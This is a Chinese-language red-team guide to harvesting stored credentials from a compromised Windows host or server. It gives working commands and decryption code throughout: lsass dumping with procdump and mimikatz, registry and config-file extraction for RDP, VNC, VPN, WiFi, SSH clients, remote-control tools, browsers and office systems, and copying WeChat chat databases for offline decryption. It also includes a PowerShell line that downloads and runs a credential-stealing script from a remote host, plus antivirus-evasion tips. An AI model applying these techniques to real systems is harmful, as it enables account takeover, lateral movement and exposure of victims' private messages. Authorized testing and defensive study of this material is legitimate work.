内网渗透 最全的内网凭据密码收集方法和技巧总结

如何使用 WebBrowserPassView 查看所有浏览器密码? WebBrowserPassView 是一款由 Nirsoft 网站提供的简单免费的 Windows 浏览器密码查看工具。我们可以使用它来检索安装在电脑或笔记本上的浏览器保存在硬盘上的各种密码。它可以是 Google Chrome、Mozilla FireFox、Microsoft Edge、Opera 或其他浏览器。然而,目前你无法从外部驱动器中检索密码。该程序由 Nirsoft 开发和分发。使用 WebBrowserPassView 的最佳之处在于,我们无需在 Windows 系统上安装它。 阅读详情

内网凭据密码收集指南

前言

在攻防场景下,红队人员拿下一台终端或服务器后,第一步要做的往往就是信息收集,为最大化利用权限,扩大战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记录和总结,希望能帮助你作为参考。

RDP凭证
本机RDP密码

抓取本机RDP密码是一个我们常遇到的场景,通常使用mimikatz抓取RDP密码。

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,这时抓取的明文密码为空。

可以尝试解密NTLM获取明文密码。

上不了线的情况下,也可以在webshell中来dump内存,保存到本地解密即可。Dump内存的工具有很多,这里我们使用procdump64.exe为例进行dump内存:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp


然后本地使用mimikatz进行解密:

sekurlsa::minidump lsass.dmp   sekurlsa::logonPasswords full


文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。

RDP登录凭证
mimikatz

当我们使用Windows自带的远程桌面登录成功并选择保存凭据时,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。查看本机链接过哪些机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"


获取Credentials:

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*


获取guidMasterKey

mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit


mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt


查找guid对应的MasterKey:

解密获取明文rdp凭证:

mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit


netpass

也可以利用netpass直接抓取密码,使用时注意对应系统版本,下载:文末

同时netpass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

VNC密码
UltraVNC

默认配置路径:

c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini


image.png

image.png

TightVNC

TightVNC的加密后密码存在注册表里内,注意查询需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword    reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password   reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort


image.png

image.png

RealVNC

RealVNC别名WinVNC,RealVNC的加密后密码存在注册表里内,注意查询需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password


解密工具:https://github.com/jeroennijhof/vncpwd

image.png

TigerVNC

TigerVNC的加密后密码存在注册表里内,查询无需管理员权限。

reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"


解密工具

image.png

VPN密码

Windows自带VPN连接,如果在配置VPN时选择记住此密码则会保存连接信息。

image.png

默认保存连接信息目录

%AppData%\Roaming\Microsoft\Network\Connections\Pbk


image.png

我们可以使用Dialupass来获取VPN密码信息,注意需要管理员权限,Dialupass使用说明和下载地址

image.png

同时Dialupass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

image.png

WiFi密码

WiFi信息查询命令,在cmd下执行,无需管理员权限。

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear


image.png

星号密码

在攻防场景下很多时候在主机或服务器上遇到一些软件配置使用了星号密码,我们可以直接尝试使用星号密码查看来获取明文密码,省去寻找和解密配置文件的时间。常用的星号密码查看器:

  • • Asterisk Password Spy[1] 支持180个应用软件密码查看

  • • peekPassword[2]

image.png

通信软件
个人微信

很多时候我们钓鱼控下的主机都安装了个人微信,很多时候会在微信上沟通密码等敏感信息,在攻防场景下,由于是个人主机不方便直接远程操作,所以我们可以下载其离线聊天数据库离线解密。

获取解密密钥

我们可以使用工具SharpWxDump[3]来获取解密密钥,使用该工具需要注意两点,一是编译工具选择x86架构,而是对方微信必须是在登录状态。

image.png

image.png

下载聊天记录

微信聊天文件一般在:

%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db   %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db   %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db


注意:如果MSG0.db的大小超出240MB会自动生成MSG1.db,以此类推。打包聊天文件:

cd /d C:\Users\Public   # 由于微信运行会占用此文件,需要进行复制。   copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db" MSG0.db   # 使用Windows系统自带命令进行压缩,方便快速下载。   makecab MSG0.db MSG0.cab   # 下载到本地后解压   expand MSG0.cab MSG0.db


解密聊天文件

下载ChatViewTool[4]后,将数据库密钥保存为文本文件DBPass.Bin,将解压后的聊天记录数据库MSG0.db放在同目录。

image.png

随后打开ChatViewTool点击数据库解密并选择密钥文件DBPass.Bin和聊天记录数据库MSG0.db所在的目录:

image.png

待解密完成后,会生成MSG0.db_dec.db,将MSG0.db_dec.db放到一个新目录,点击查看数据库选择此目录即可完成会话展示,双击联系人列表可展示对应的聊天记录。

image.png

个人QQ

个人QQ由于有腾讯TP保护,导致不能动态地从个人QQ的内存获取其聊天数据库解密密钥,暂时无法解密,感兴趣可以阅读一文。

https://bbs.pediy.com/thread-266370.htm


运维开发
SVN

SVN类的版本控制软件如TortoiseSVN默认会将缓存的凭据保存到配置文件中,在Windows平台上默认会调用Windows数据保护API进行加密。

image.png

SVN类客户端软件默认配置文件目录:

%APPDATA%\Subversion\auth\svn.simple\   %APPDATA%\Roaming\Subversion\auth\svn.simple\


image.png

我们可工具以使用TSvnPwd来解密。工具下载地址:http://www.leapbeyond.com/ric/TSvnPD/

image.png

FileZilla

简介:FileZilla客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。

找到FileZilla的默认配置文件目录:

%userprofile%\AppData\Roaming\FileZilla\recentservers.xml   %userprofile%\AppData\Roaming\FileZilla\sitemanager.xml


密码base64解码即可得到明文:

也可以利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla


Winscp

简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件。

通过注册表获得密文:

reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"   reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"


通过winscppwd.exe即可解密:

winscppwd.exe root 192.168.192.128 密文


有时候管理员会导出配置为WinSCP.ini文件。

这时候直接查找该文件,然后解密即可。winscppwd下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也可以使用SharpDecryptPwd直接获取密码

Xshell

简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密码默认保存位置:

XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions   XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions   XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions


SharpXDecrypt支持解密XShell所有版本,包括XShell 7:

image.png

下载地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码

FinalShell

简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。默认配置文件地址:

%userprofile%\AppData\Local\finalshell\conn\xxx.json


使用FinalShell-Decoder选择目录即可解密:

下载地址:https://github.com/passer-W/FinalShell-Decoder

SecureCRT

SecureCRT默认配置目录:

dir %APPDATA%\VanDyke\Config\Sessions\


SecureCRT 7.3.3之前的版本使用password加密算法,之后的版本使用password v2算法:

S:"Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc   S:"Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc


7.x 版本解密 [ 不带第一位 “u” ]

SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc


8.x 版本解密 [ 不带前面三位 “02:” ]

SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc


image.png

SecureCRT下载地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password

Mobaxterm

MobaXterm连接信息默认全部加密存于注册表中,解密两种情况。

无管理密码的解密

首先是先切到指定用户权限下,从注册表中读取连接信息和账密 hash,此处测试的 MobaXterm 版本为 12.04 ,该版本不会强制你为连接设置管理密码。

`# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm    # reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P` 


之后再把密码 hash 粘回本地解密,要带上目标机器名 和 MobaXterm 的安装用户。

`python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6 -u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu***` 


带管理密码的解密

此处测试的 MobaXterm 为最新版 20.5,该版本每次连接都会强制你设置管理密码。

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P   python3 MobaXtermCipher.py dec -p admin!@#45 ehx0N63ueLNPkw==


Navicat

简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。

离线解密

首先查询Navicat注册表里的密码:

reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host   reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username   reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd


image.png

然后可以使用以下代码在线解密,注意Navicat版本:在线运行地址:https://www.nhooo.com/tool/java8/

image.png

package org.example;      import javax.crypto.Cipher;   import javax.crypto.spec.IvParameterSpec;   import javax.crypto.spec.SecretKeySpec;   import javax.xml.bind.DatatypeConverter;   import java.nio.charset.StandardCharsets;   import java.security.MessageDigest;   import java.util.Arrays;      public class Main {       public static void main(String []args) {           //navicat11版本解密           Navicat11Cipher de = new Navicat11Cipher();           System.out.println(de.decryptString("15057D7BA390"));           //navicat12以上版本解密           Navicat12Cipher de12 = new Navicat12Cipher();           System.out.println(de12.decryptString("503AA930968F877F04770B47DD731DC0"));       }       public static class Navicat11Cipher {           public static final String DefaultUserKey = "3DC5CA39";           private byte[] _IV;              private SecretKeySpec _Key;           private Cipher _Encryptor;           private Cipher _Decryptor;              private void initKey(String UserKey) {               try {                   MessageDigest sha1 = MessageDigest.getInstance("SHA1");                   byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);                   sha1.update(userkey_data, 0, userkey_data.length);                   _Key = new SecretKeySpec(sha1.digest(), "Blowfish");               } catch (Exception e) {                   e.printStackTrace();               }           }              private void initChiperEncrypt() {               try {                   // Must use NoPadding                   _Encryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");                   _Encryptor.init(Cipher.ENCRYPT_MODE, _Key);               } catch (Exception e) {                   e.printStackTrace();               }           }              private void initChiperDecrypt() {               try {                   // Must use NoPadding                   _Decryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");                   _Decryptor.init(Cipher.DECRYPT_MODE, _Key);               } catch (Exception e) {                   e.printStackTrace();               }           }              private void initIV() {               try {                   byte[] initVec = DatatypeConverter.parseHexBinary("FFFFFFFFFFFFFFFF");                   _IV = _Encryptor.doFinal(initVec);               } catch (Exception e) {                   e.printStackTrace();               }           }              private void xorBytes(byte[] a, byte[] b) {               for (int i = 0; i < a.length; i++) {                   int aVal = a[i] & 0xff; // convert byte to integer                   int bVal = b[i] & 0xff;                   a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte               }           }              private void xorBytes(byte[] a, byte[] b, int l) {               for (int i = 0; i < l; i++) {                   int aVal = a[i] & 0xff; // convert byte to integer                   int bVal = b[i] & 0xff;                   a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte               }           }              {               initKey(DefaultUserKey);               initChiperEncrypt();               initChiperDecrypt();               initIV();           }              private byte[] Encrypt(byte[] inData) {               try {                   byte[] CV = Arrays.copyOf(_IV, _IV.length);                   byte[] ret = new byte[inData.length];                      int blocks_len = inData.length / 8;                   int left_len = inData.length % 8;                      for (int i = 0; i < blocks_len; i++) {                       byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);                          xorBytes(temp, CV);                       temp = _Encryptor.doFinal(temp);                       xorBytes(CV, temp);                          System.arraycopy(temp, 0, ret, i * 8, 8);                   }                      if (left_len != 0) {                       CV = _Encryptor.doFinal(CV);                       byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);                       xorBytes(temp, CV, left_len);                       System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);                   }                      return ret;               } catch (Exception e) {                   e.printStackTrace();                   return null;               }           }              public String encryptString(String inputString) {               try {                   byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);                   byte[] outData = Encrypt(inData);                   return DatatypeConverter.printHexBinary(outData);               } catch (Exception e) {                   e.printStackTrace();                   return "";               }           }              private byte[] Decrypt(byte[] inData) {               try {                   byte[] CV = Arrays.copyOf(_IV, _IV.length);                   byte[] ret = new byte[inData.length];                      int blocks_len = inData.length / 8;                   int left_len = inData.length % 8;                      for (int i = 0; i < blocks_len; i++) {                       byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);                          temp = _Decryptor.doFinal(temp);                       xorBytes(temp, CV);                       System.arraycopy(temp, 0, ret, i * 8, 8);                       for (int j = 0; j < CV.length; j++) {                           CV[j] = (byte) (CV[j] ^ inData[i * 8 + j]);                       }                   }                      if (left_len != 0) {                       CV = _Encryptor.doFinal(CV);                       byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);                          xorBytes(temp, CV, left_len);                       for (int j = 0; j < temp.length; j++) {                           ret[blocks_len * 8 + j] = temp[j];                       }                   }                      return ret;               } catch (Exception e) {                   e.printStackTrace();                   return null;               }           }              public String decryptString(String hexString) {               try {                   byte[] inData = DatatypeConverter.parseHexBinary(hexString);                   byte[] outData = Decrypt(inData);                   return new String(outData, StandardCharsets.UTF_8);               } catch (Exception e) {                   e.printStackTrace();                   return "";               }           }       }       public static class Navicat12Cipher {           private SecretKeySpec _AesKey;           private IvParameterSpec _AesIV;              {               _AesKey = new SecretKeySpec("libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");               _AesIV = new IvParameterSpec("libcciv libcciv ".getBytes(StandardCharsets.UTF_8));           }              public String encryptString(String plaintext) {               try {                   Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");                   cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);                   byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));                   return DatatypeConverter.printHexBinary(ret);               } catch (Exception e) {                   e.printStackTrace();                   return "";               }           }              public String decryptString(String ciphertext) {               try {                   Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");                   cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);                   byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));                   return new String(ret, StandardCharsets.UTF_8);               } catch (Exception e) {                   e.printStackTrace();                   return "";               }           }       }   }


SharpDecryptPwd

也可以直接1使用SharpDecryptPwd抓取密码:

image.png

远程控制
TeamViewer

TeamViewer是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备。直接获取本机TeamViewer的ID以及密码:

SharpDecryptPwd.exe -TeamViewer


SunLogin
旧版本

这里旧版本是指v11.0.0.38222以及以前的版本

找到配置文件config.ini

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini   便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini


fastcode便是本机识别码,在这里是941244985 其中encry_pwd是本机验证码加密后的字段,我们使用工具即可解密 利用工具:https://github.com/wafinfo/Sunflower_get_Password

解密得到本机验证码为4M9aON

较新版本

在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo   reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo


最新版本

首先找到向日葵用户进程,然后使用procdump等工具转储进程内存。

tasklist /v | findstr /i sunlogin   procdump64.exe -accepteula -ma 进程号


image-20221109181701558.png

使用Winhex打开转储文件,按下Ctrl+Alt+X快捷键打开十六进制值搜索功能,搜索十六进制值66617374636F646522203A20226b,即可找到本机识别码。

image-20221109182129937.png

搜索十六进制值000000000000003C6620663D79616865692E626F6C642E323420633D636F6C6F725F65646974203E,使用F3快捷键可以跳到下一个匹配处,多跳2次即可找到本机验证码。

image-20221109225035543.png

ToDesk
本机连接

ToDesk的配置路径在安装目录下的config.ini。

image.png

clientId为设备ID,AuthMode为认证模式,0为仅使用临时密码,1为仅使用安全密码,2为都可以使用,tempAuthPassEx为加密后的临时密码,authPassEx为加密后的安全密码,我们只需本地安装一个最新版本ToDesk,退出ToDesk,然后复制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地进行替换,最后重新运行ToDesk即可查看密码。

image.png

image.png

远程连接

ToDesk默认会保存连接过的信息,记录的文件也是ToDesk安装目录下的userInfo.json文件,其中就有远程连接的设备ID,主机名,连接密码等密码信息。

image.png

我们只需复制userInfo.json文件放在ToDesk安装目录下,重新运行ToDesk即可选择进行远程连接了,不需要输入密码。

image.png

浏览器
常见浏览器
WebBrowserPassView

WebBrowserPassView使用说明和下载地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下浏览器:

  • • Internet Explorer (Version 4.0 - 11.0)

  • • Mozilla Firefox (All Versions)

  • • Google Chrome

  • • Chromium-Based Edge

  • • Safari

  • • Opera

  • • Brave

  • • Waterfox

  • • SeaMonkey

  • • Vivaldi

  • • Yandex

  • • Chromium

image.png

WebBrowserPassView也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html

image.png

WebBrowserPassView也支持离线解密:

image.png

免杀:截至目前删除程序版本信息即可免杀360。

HackBrowserData

HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。在Windows平台支持以下浏览器的密码,Cookie,书签和历史记录信息:

  • • Google Chrome

  • • Google Chrome Beta

  • • Chromium

  • • Microsoft Edge

  • • 360 极速浏览器

  • • QQ浏览器

  • • Brave

  • • Opera

  • • OperaGX

  • • Vivaldi

  • • Yandex

  • • CocCoc

  • • Firefox

  • • Firefox Beta

  • • Firefox Dev

  • • Firefox ESR

  • • Firefox Nightly

使用说明和下载地址

IE浏览器
credgrap_ie_edge

工具地址 内存执行powershell解密即可

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"


落地解密

IE Passwords Viewer

可以直接使用iepv直接获取账密

image.png

同时iepv也提供了命令行版本,下载页面

image.png

360安全浏览器
离线解密

首先切到指定用户权限下,获取机器id,

reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"


image.png

然后找到账密数据库文件assis2.db路径,将assis2.db下载到本地进行解密。

reg query "HKCR\360SeSES\DefaultIcon"   dir "C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"


执行解密:

360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db


image.png

上传解密

在免杀的情况下也可以直接上传360SafeBrowserDecrypt.exe进行解密。

image.png

其他浏览器

如果遇到其他的小众浏览器,可以在本地安装一个相同版本的浏览器,然后退出浏览器,将目标上的浏览器用户数据目录打包到本地,在相同目录进行替换,重新打开浏览器,去浏览器设置里查看密码。以下为一些浏览器的用户数据目录:

%AppData%/Local/Google/Chrome/User Data/Default/   %AppData%/Local/Google/Chrome Beta/User Data/Default/   %AppData%/Local/Chromium/User Data/Default/   %AppData%/Local/Microsoft/Edge/User Data/Default/   %AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/   %AppData%/Local/360chrome/Chrome/User Data/Default/   %AppData%/Local/Tencent/QQBrowser/User Data/Default/   %AppData%/Roaming/Opera Software/Opera Stable/   %AppData%/Roaming/Opera Software/Opera GX Stable/   %AppData%/Local/Vivaldi/User Data/Default/   %AppData%/Local/CocCoc/Browser/User Data/Default/   %AppData%/Local/Yandex/YandexBrowser/User Data/Default/   %AppData%/Roaming/Mozilla/Firefox/Profiles/   %AppData%/Roaming/SogouExplorer/Webkit/


WEB系统
通用方法

思路:绝大部分的配置信息,在内存中,都是String类型的field字段,可以使用OQL语言直接从内存中提取password字段的field值。

工具

使用步骤:1、使用jcmd获取JVM堆内存 jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump

jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760


2.1.png

2、使用OQLQuery提取密码 OQL语句:

var filter = {};   map(heap.classes(), function (cls) {      return map(cls.fields, function (field) {          if( field.name.toString().contains("pass") || field.name.toString().contains("username") ||field.name.toString().contains("PASS")){           return map(heap.objects(cls), function (obs) {             var tag = cls.name+"|"+field.name ;             var res =  "class : "+cls.name+"\n Field [ "+field.name.toString()+" : ";             if( obs[field.name.toString()] != null ){               res = res + obs[field.name.toString()].toString()+" ]\n";             }else{               res = res + "null ]\n";             }             if (filter[tag] == null) {               filter[tag] = res;               print(res);             }             return null;           });         }         return null;     });   });


使用base64编码oql语句传入OQLQuery进行提取:

java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=


1.1.png

42f3e0d7257d7c3d6bec1dc42ab78d7.png

从图中即可看到数据库连接密码。

致远OA

数据库配置文件默认位置:

/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties


泛微系列
e-cology

数据库配置文件默认位置:

D:\WEAVER\ecology\WEB-INF\prop\weaver.properties


用户名表:HrmResource 管理员表:HrmResourceManager、TB_USER

image.png

e-bridge

数据库配置文件默认位置:

`D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties` 


e-mobile

数据库配置文件默认位置:

`D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties` 


e-office

数据库配置文件默认位置:

D:\eoffice\webroot\inc\oa_config.php   D:\eoffice\bin\mysql_config.ini


蓝凌OA
解密后台管理密码

后台管理地址一般是:

http://x.x.x.x/admin.do


如果后台管理地址遇到不是admin.do,则可以尝试从以下文件中搜索SysConfigAdminAction即可找到后台管理地址:

老版本对应的为:\WEB-INF\KmssConfig\sys\config\struts.xml   新版本对应的为:\WEB-INF\KmssConfig\sys\config\spring-safe.xml   或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml


加密后的后台管理密码一般保存在:

/WEB-INF/KmssConfig/admin.properties


其使用的加密算法为DES-ECB,密钥为kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES

image.png

配置文件解密

配置文件默认路径:

ekp/WEB-INF/KmssConfig/kmssconfig.properties


其使用的加密算法为DES-ECB,密钥为kmssPropertiesKey。

image.png

解密代码:

package org.example;      import cn.hutool.core.util.CharsetUtil;   import cn.hutool.crypto.SecureUtil;   import cn.hutool.crypto.symmetric.DES;      import java.nio.file.Files;   import java.nio.file.Path;   import java.nio.file.Paths;         public class Main {       public static String decrypt(byte[] bytes, String key) {           DES des = SecureUtil.des(key.getBytes());           return des.decryptStr(bytes, CharsetUtil.charset("gb2312"));       }          public static void main(String[] args) throws Exception {           Path path = Paths.get("D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");           byte[] bytes = Files.readAllBytes(path);           String result = decrypt(bytes, "kmssPropertiesKey");           System.out.println(result);       }   }


数据库用户密码解密 用户表:sys_org_person 前台用户在/login.jsp登陆时使用的密码使用了md5和DES两种加密方式存在数据库中,其使用DES算法为DES-CBE,密钥为kmssPropertiesKey。

f5a2cb7dffa11bec2fe1615b2ad6676.png

解密工具

image.png

万户OA

数据库配置文件默认位置:

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml   D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties   /WEB-INF/config/ezoffice/config.xml   /jboss-as/server/oa/deploy/*-ds.xml //星号为具体数据库比如mssql、oracle


通达OA

数据库配置文件默认位置:

C:\MYOA\mysql5\my.ini   C:\MYOA\webroot\inc\oa_config.php   C:\MYOA\bin\Service.ini


用友NC

数据库配置文件默认位置:

/nchome/ierp/bin/prop.xml


用友数据库解密,工具下载地址:https://github.com/jas502n/ncDecode

金和OA

数据库默认配置文件:

D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties


心通达

数据库默认配置文件:

/webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie


image.png

帆软

数据库默认配置文件:

\WEB-INF\resources\privilege.xml


解密代码:

cipher = input("输入密文:\n")  # 密文   PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]    password = ""   cipher = cipher[3:]     for i in range(int(len(cipher) / 4)):       c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)       c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]       password = password + chr(c2)   print("明文密码:\n"+password)


image.png

Confluence

数据库默认配置文件:

/var/atlassian/confluenc/confluence.cfg.xml


vCenter

数据库默认配置文件:

Windows默认路径:   C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties      Linux路径:   /etc/vmware-vpx/vcdb.properties   /etc/vmware/service-state/vpxd/vcdb.properties


金蝶
金蝶EAS

数据库默认配置文件:

...\runtime\apusic\domains\server1\config\datasources.xml   D:/Kingdee/eas/server/properties/datacenters.xml


华三IMC

数据库默认配置文件:

common\conf\server-addr.xml


核心算法:通过将去掉-符号的值加上数组的下标值乘上16取余256,接着把获取到的值b与255进行比较,大于255的进行b-256的操作后赋值给b,紧接着进行ASCII转换。最后判断结尾是否为” ~~”,是的话就去掉,最后去掉最后两位。解密代码:

str = "-115-97-76-67-49-28-30-14"      if str.startswith('-'):       strs = []       bytess = []       strs = str[1:24].split('-')       i = 0       for i in range(len(strs)-2):           try:               strsint = int(strs[i])               b = strsint + i * 16 % 256               if b > 255:                   b = b - 256               str1 = chr(b)               if not str1.endswith("~~"):                   bytess.append(chr(b))           except:               pass           i = i + 1       print("密码:"+''.join(bytess))   else:       print("密文格式不对!")       print("格式应为:-112-81-83-67-55-20-30-1")


image.png

联软 IT 安全运维

数据库默认配置文件:

